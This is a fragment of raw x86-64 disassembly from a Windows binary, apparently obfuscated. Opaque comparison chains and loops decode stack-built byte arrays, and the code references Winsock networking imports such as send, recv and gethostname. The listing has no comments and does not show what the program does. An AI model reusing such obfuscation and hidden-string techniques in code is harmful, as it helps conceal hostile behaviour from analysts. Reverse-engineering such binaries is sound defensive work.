add rbx, rcx
inc rbx
jmp 0x1400b6472
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x78
movzx r10d, bl
add dl, cl
sub r10b, 0x58
movzx eax, r11b
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x6c0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
mov byte [rbp + rbx + 0x6c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6470
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x1400b6460
lea rdx, [rbp + 0x1417160]
jmp 0x1400b7021
lea rdx, [rbp + 0x1788558]
jmp 0x1400b7021
lea rdx, [rbp + 0x6c0]
mov r9d, gethostname
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
cmp eax, 6
jne 0x1400b89c8
mov byte [rbp + 0x3f0], 0x43
mov byte [rbp + 0x3f1], 0x7f
mov byte [rbp + 0x3f2], 0x67
mov byte [rbp + 0x3f3], Ordinal_79
mov byte [rbp + 0x3f4], 0x75
mov byte [rbp + 0x3f5], 0x77
mov byte [rbp + 0x3f6], Ordinal_79
mov byte [rbp + 0x3f7], 7
mov byte [rbp + 0x3f8], 0x61
mov byte [rbp + 0x3f9], 0xad
mov byte [rbp + 0x3fa], Ordinal_79
mov byte [rbp + 0x3fb], 0x5e
mov byte [rbp + 0x3fc], Ordinal_79
mov byte [rbp + 0x3fd], Ordinal_79
mov byte [rbp + 0x3fe], 0x5f
mov byte [rbp + 0x3ff], 0x43
mov byte [rbp + 0x400], reloc.WLDAP32.dll_Ordinal_60
xor eax, eax
movups xmmword [rbp + 0x401], xmm0
movups xmmword [rbp + 0x411], xmm0
mov word [rbp + 0x421], ax
movabs rsi, 0xcc4bfbc3dd54c5a6
movabs r14, 0x2eabd9e2c7faf2d6
movabs r15, 0x64e3f34b97fe50f2
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b7c48
movzx r11d, byte [rbp + rdi + 0x3f0]
mov ebx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400b7c3f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b714b
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
add dl, 0x76
jmp 0x1400b7178
je 0x1400b7bcb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b7b9e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b7b82
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b7b41
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400b7c36
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b71a9
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x52
jmp 0x1400b71e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b7afd
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7ad7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b7ab7
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b7a59
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b772d
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b7713
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b76ee
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b76cc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b76af
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b768c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b766c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b764f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b7641
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b7610
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b71f0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b7c16
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b7bf6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b73e0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b73c3
lea rcx, [r9 + 0x64]
cmp r8, rcx
jb 0x1400b73a6
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b75c6
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b7583
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b7546
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b7520
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400b71f0
mov r8, rcx
lea r9, [rcx + 0x7a]
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400b74ef
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400b74d3
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400b74b9
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400b749d
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400b747e
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400b7464
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400b7442
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400b741d
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400b7400
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400b71f0
lea r8, [r9 + 1]
lea r9, [r8 + 9]
jmp 0x1400b71f0
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b71e0
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7180
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7120
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7b12
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
inc r9
dec rdi
inc rdi
jmp 0x1400b7102
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
dec rdi
inc rdi
jmp 0x1400b7102
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
jmp 0x1400b7b5a
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
add r8, r9
jmp 0x1400b7bb3
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
jmp 0x1400b7bb3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x1400b7a2a
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400b7a74
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
add r10b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3e
mov byte [rbp + rdi + 0x3f0], dl
inc rdi
jmp 0x1400b7102
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
cmp r9, 0x400
jb 0x1400b7537
lea ecx, [r10 + 0x24]
movzx eax, cl
and al, r11b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400b7b12
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
cmp r8, 9
jae 0x1400b79fa
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400b7948
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x34
jmp 0x1400b755b
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400b7a19
lea rbx, [r9 + 4]
cmp r8, rbx
jbe 0x1400b7875
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7598
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
add r10b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400b7a62
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7a2a
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7bb3
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400b7bb3
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7b5a
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
dec rdi
inc rdi
jmp 0x1400b7102
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc r9
dec rdi
inc rdi
jmp 0x1400b7102
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x1400b7b12
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400b7753
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b75db
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b778d
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
inc rax
cmp r8, rax
jne 0x1400b77a3
sub r10b, 0x78
mov ecx, 0x24
jmp 0x1400b7a62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b77c9
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7a2a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b77f5
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400b7bb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7820
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
dec rdi
inc rdi
jmp 0x1400b7102
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b784e
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400b7102
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400b75db
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
jmp 0x1400b7b12
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b789b
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7b12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b78c6
add r10b, 0x72
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1e
dec rdi
inc rdi
jmp 0x1400b7102
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b78e9
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
jmp 0x1400b7b5a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b790e
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
jmp 0x1400b7bb3
cmp r8, rbx
jne 0x1400b792d
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400b7a2a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7598
sub r10b, 0x12
mov ecx, 0x3f
jmp 0x1400b7a62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b797e
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b79a1
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400b7a2a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b79d0
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rdi
inc rdi
jmp 0x1400b7102
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b755b
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7b12
lea edx, [r10 + 0x70]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r11b
sub cl, al
add cl, r11b
sub dl, 0x10
add dl, cl
jmp 0x1400b7b5a
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x24]
add r10b, 0x62
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x3f0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400b7a74
sub r10b, 2
mov ecx, 7
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
lea ecx, [rdi + 8]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, cl
mov byte [rbp + rdi + 0x3f0], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7bb3
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rdi
inc rdi
jmp 0x1400b7102
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x3f0], cl
inc r9
dec rdi
inc rdi
jmp 0x1400b7102
movzx r10d, dil
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
add r10b, 0x16
movzx eax, r11b
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x3f0], cl
add r8, r9
jmp 0x1400b7bb3
lea edx, [rdi + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
jmp 0x1400b7bb3
lea rcx, [rdi + r14]
and bl, cl
mov eax, reloc.WS2_32.dll_send
sub al, bl
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b7102
lea rcx, [rdi + r15]
and bl, cl
mov eax, Ordinal_50
sub al, bl
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rbp + rdi + 0x3f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b7102
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7100
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b70f0
lea rsi, [rbp + 0x174cf78]
jmp 0x1400b7c4f
lea rsi, [rbp + 0x149951e]
jmp 0x1400b7c4f
lea rsi, [rbp + 0x3f0]
mov byte [rbp + 0x790], Ordinal_30
mov byte [rbp + 0x791], 0x3f
mov byte [rbp + 0x792], 0xc0
mov byte [rbp + 0x793], 0
mov byte [rbp + 0x794], Ordinal_200
mov byte [rbp + 0x795], 1
mov byte [rbp + 0x796], 3
mov byte [rbp + 0x797], reloc.WS2_32.dll_send
mov byte [rbp + 0x798], 1
mov byte [rbp + 0x799], 4
mov byte [rbp + 0x79a], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x79b], 0
mov byte [rbp + 0x79c], recv
mov byte [rbp + 0x79d], 3
mov byte [rbp + 0x79e], 0xf4
mov byte [rbp + 0x79f], 6
mov byte [rbp + 0x7a0], recv
mov byte [rbp + 0x7a1], recv
mov byte [rbp + 0x7a2], Ordinal_35
mov byte [rbp + 0x7a3], 1
mov byte [rbp + 0x7a4], Ordinal_35
mov byte [rbp + 0x7a5], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7a6], 0xec
mov byte [rbp + 0x7a7], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7a8], 2
mov byte [rbp + 0x7a9], 0xe9
mov byte [rbp + 0x7aa], 1
mov byte [rbp + 0x7ab], reloc.WS2_32.dll_recv
mov byte [rbp + 0x7ac], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x7ad], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x7ae], 0xe4
mov byte [rbp + 0x7af], Ordinal_41
mov byte [rbp + 0x7b0], Ordinal_30
mov byte [rbp + 0x7b1], 0xe1
mov byte [rbp + 0x7b2], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x7b3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x7b4], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7b5], WSASetLastError
mov byte [rbp + 0x7b6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x7b7], WSAGetLastError
mov byte [rbp + 0x7b8], 0x63
mov byte [rbp + 0x7b9], 0x66
mov byte [rbp + 0x7ba], 0x64
mov byte [rbp + 0x7bb], 0x9b
mov byte [rbp + 0x7bc], WSASetLastError
mov byte [rbp + 0x7bd], 0x63
mov byte [rbp + 0x7be], __WSAFDIsSet
mov byte [rbp + 0x7bf], WSASetLastError
mov byte [rbp + 0x7c0], WSASetLastError
mov byte [rbp + 0x7c1], 0x7c
mov byte [rbp + 0x7c2], WSASetLastError
mov byte [rbp + 0x7c3], 0x62
mov byte [rbp + 0x7c4], 0x60
mov byte [rbp + 0x7c5], WSACleanup
mov byte [rbp + 0x7c6], 0xba
mov byte [rbp + 0x7c7], 0x76
mov byte [rbp + 0x7c8], 0x77
mov byte [rbp + 0x7c9], 0xb8
mov byte [rbp + 0x7ca], 0x7e
mov byte [rbp + 0x7cb], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7cc], 0x60
mov byte [rbp + 0x7cd], WSASetLastError
mov byte [rbp + 0x7ce], 0x76
mov byte [rbp + 0x7cf], 0x44
mov byte [rbp + 0x7d0], 0x7d
mov byte [rbp + 0x7d1], 0x81
mov byte [rbp + 0x7d2], 0x56
mov byte [rbp + 0x7d3], 0x7c
mov byte [rbp + 0x7d4], 0x68
mov byte [rbp + 0x7d5], 0x52
mov byte [rbp + 0x7d6], Ordinal_79
mov byte [rbp + 0x7d7], 0xbf
mov byte [rbp + 0x7d8], 0x9d
mov byte [rbp + 0x7d9], 0x62
mov byte [rbp + 0x7da], 0xb8
mov byte [rbp + 0x7db], 0x75
mov byte [rbp + 0x7dc], 0x88
mov byte [rbp + 0x7dd], 0xb5
mov byte [rbp + 0x7de], Ordinal_79
mov byte [rbp + 0x7df], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7e0], 0x5b
mov byte [rbp + 0x7e1], 0xb1
mov byte [rbp + 0x7e2], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x7e3], 0xb3
mov byte [rbp + 0x7e4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x7e5], 0x42
mov byte [rbp + 0x7e6], 0x57
mov byte [rbp + 0x7e7], 0x5b
mov byte [rbp + 0x7e8], 0x42
mov byte [rbp + 0x7e9], 0x9e
mov byte [rbp + 0x7ea], 0x53
mov byte [rbp + 0x7eb], 0x5d
mov byte [rbp + 0x7ec], 0xaa
mov byte [rbp + 0x7ed], 0x67
mov byte [rbp + 0x7ee], 0x67
mov byte [rbp + 0x7ef], 0x51
mov byte [rbp + 0x7f0], 0xa6
mov byte [rbp + 0x7f1], Ordinal_79
mov byte [rbp + 0x7f2], 0x50
mov byte [rbp + 0x7f3], 0x52
mov byte [rbp + 0x7f4], 0x53
mov byte [rbp + 0x7f5], 0xa3
mov byte [rbp + 0x7f6], 0xa3
mov byte [rbp + 0x7f7], 0xad
mov byte [rbp + 0x7f8], 0x5e
mov byte [rbp + 0x7f9], 0xb0
mov byte [rbp + 0x7fa], 0xa0
mov byte [rbp + 0x7fb], 0xa0
mov byte [rbp + 0x7fc], 0xa7
mov byte [rbp + 0x7fd], 0xad
mov byte [rbp + 0x7fe], 0x54
mov byte [rbp + 0x7ff], 0xaa
mov byte [rbp + 0x800], __WSAFDIsSet
mov byte [rbp + 0x801], 0xa7
mov byte [rbp + 0x802], 0x50
mov byte [rbp + 0x803], 0xaa
mov byte [rbp + 0x804], 0xad
mov byte [rbp + 0x805], 0xa1
mov byte [rbp + 0x806], Ordinal_79
mov byte [rbp + 0x807], 0xa4
mov byte [rbp + 0x808], 0xbf
mov byte [rbp + 0x809], 0xa6
mov byte [rbp + 0x80a], 0x48
mov byte [rbp + 0x80b], 0xa4
mov byte [rbp + 0x80c], 0xbc
mov byte [rbp + 0x80d], 0x87
mov byte [rbp + 0x80e], 0x87
mov byte [rbp + 0x80f], 0xb1
mov byte [rbp + 0x810], 0xb0
mov byte [rbp + 0x811], 0xbe
mov byte [rbp + 0x812], 0xbc
mov byte [rbp + 0x813], 0x43
mov byte [rbp + 0x814], 0xb9
mov byte [rbp + 0x815], 0x83
mov byte [rbp + 0x816], 0x7c
mov byte [rbp + 0x817], __WSAFDIsSet
mov byte [rbp + 0x818], 0x86
mov byte [rbp + 0x819], 0x82
mov byte [rbp + 0x81a], __WSAFDIsSet
mov byte [rbp + 0x81b], 0x7b
mov byte [rbp + 0x81c], 0x82
mov byte [rbp + 0x81d], 0xb6
mov byte [rbp + 0x81e], 0x84
mov byte [rbp + 0x81f], 0x87
mov byte [rbp + 0x820], Ordinal_143
mov byte [rbp + 0x821], 0x87
mov byte [rbp + 0x822], 0x9d
mov byte [rbp + 0x823], 0x45
mov byte [rbp + 0x824], reloc.WS2_32.dll_select
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x825], xmm0
mov qword [rbp + 0x835], rax
mov dword [rbp + 0x83d], eax
mov word [rbp + 0x841], ax
movabs r14, 0xc1dbb8bbde45bb1b
movabs r12, 0x4d020d2313e81dbd
movabs r15, 0x45932a339ad13151
movzx r10d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0xb3
jae 0x1400b89bc
movzx ebx, byte [rbp + rdi + 0x790]
mov edx, ebx
nop dword [rax]
cmp r8, rdi
ja 0x1400b89b0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b810c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x43
jmp 0x1400b8139
je 0x1400b8961
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b88e3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b88b3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8876
nop dword [rax]
cmp r9, rdi
ja 0x1400b89a4
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b816a
lea r10d, [rdi + 0x37]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x7f
add r10b, bl
jmp 0x1400b81b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b8834
inc rax
cmp r8, rax
je 0x1400b8812
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b87f3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b87da
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b87b0
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400b84e2
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b84c8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b84a1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8482
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b8464
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b8446
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b81c0
lea r8, [r9 + 0x42]
lea r9, [r8 + 6]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b8989
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b82d2
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b82b9
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b83c7
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b8384
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b81c0
lea r8, [r9 + 1]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b835a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b833d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b8324
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b8305
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b82eb
lea r8, [r9 + 0x40]
lea r9, [r8 + 5]
